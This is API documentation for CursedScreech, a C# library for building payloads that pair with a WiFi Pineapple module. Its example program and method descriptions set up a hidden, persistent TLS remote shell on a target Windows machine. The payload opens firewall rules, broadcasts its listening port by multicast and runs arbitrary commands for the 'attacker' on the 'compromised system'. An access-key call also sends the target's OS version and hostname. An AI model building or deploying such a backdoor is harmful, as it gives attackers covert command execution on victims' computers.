CursedScreech C# API

Synopsis

This API is used to create payloads in C# that connect to the WiFi Pineapple module CursedScreech. If used properly this API will enable your payload to setup a multicast broadcaster and secure shell server that continue to operate in the background even after all windows have exited. Connections to the shell server are negotiated for the highest level of TLS available on the system (no SSL) so one executable can work on various versions of Windows. Once connected, any command that would normally be issued within command prompt or PowerShell can be issued from CursedScreech.

Example Program

```
using System;
using System.Drawing;
using System.Windows.Forms;
using PineappleModules;

namespace Payload
{
    public partial class Form1 : Form {

        public Form1() {
            InitializeComponent();

            CursedScreech cs = new CursedScreech();
            cs.startMulticaster("231.253.78.29", 19578);
            cs.setRemoteCertificateSerial("EF-BE-AD-DE");
            cs.setRemoteCertificateHash("1234567890ABCDEF");
            cs.startSecureServerThread("Payload.Payload.pfx", "#$My$ecuR3P4ssw*rd&");

        }
        private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
            e.Cancel = true;
            this.Hide();
        }

       private void accessKeyButton_Click(object sender, EventArgs e) {
             string key = pauth.getAccessKey();
             string msg;
             if (key.Length > 0) {
                   msg = "Your access key is unique to you so DO NOT give it
                   away!\n\nAccess Key: " + key;
             }
             else {
                   msg = "Failed to retrieve an access key from the server.  Please
                   try again later.";
             }
             MessageBox.Show(msg);
        }
    }
}
```

Required Methods

```
new CursedScreech();
```

Instantiates a new CursedScreech object and also performs the following actions:

- Generate a random port between 10000 and 65534 on which the shell server will listen.
- Create a firewall rule to allow TCP connections on the generated port only for the payload application and overwrite any previous rules using the same application name.

```
public void startMulticaster(string multicastAddress,
                             int multicastPort,
                             [int heartbeatInterval = 5]);
```

Starts a UDP socket in a new thread with the given information and continually broadcasts the socket on which the shell server is listening. Also sets up an outbound firewall rule to allow the packets to be sent.

multicastAddress: IP address of the multicast group with which you wish to communicate.

multicastPort: Port number to which messages will be sent in the group.

heartbeatInterval: The rate (in seconds) at which to send an update to the multicast group. Default is every 5 seconds.

```
public void startSecureServerThread(string key,
                                    string keyPassword);
```

Starts a listener in a new thread, on the random port that was generated when the object was created, using the key to set up secure communications. When system commands are received another new thread is spawned strictly to execute the command and pass back the data when finished. This prevents a possible blocking program from stopping future commands issued by CursedScreech.

key: The name of a PFX container that contains a public and private key for the payload. It is best to include this PFX in your application so it can be deployed as a single executable.

keyPassword: The password for the PFX container.

Optional (Recommended) Methods

The following methods are strongly recommended as they provide greater security and ensure only those with the proper keys can access the compromised system.

```
public void setRemoteCertificateHash(string hash);
```

- Sets the hash of the expected remote certificate to properly validate the attacker.

  The hash must not have any special characters in it. Below is an example that shows the difference between OpenSSL output of the fingerprint (hash) and what needs to be input into this method.

OpenSSL: 12:34:56:78:90:AB:CD:EF
C#: 1234567890ABCDEF

---

public void setRemoteCertificateSerial(string serial);

- Sets the serial number of the expected remote certificate to properly validate the attacker.

  The serial needs to be in little-endian format. Below is an example that shows the difference between output of the serial from OpenSSL and what it should look like in this method.

  OpenSSL: DEADBEEF
  C#: EF-BE-AD-DE

(PA_Authorization) public void PA_Authorization();

- Creates a new instance of the Portal Auth Authorization class. This class allows your payload to interact with the Payloader injection set for authorization.

(PA_Authorization) public void getAccessKey();

- Request an access key from the Portal Auth Shell Server (PASS) on the WiFi Pineapple. This will request an access key be generated that is unique to the target and store it on the Pineapple. This access key must be entered into the captive portal in order for the target to be authorized. Some system information is sent along with the request including OS version and hostname.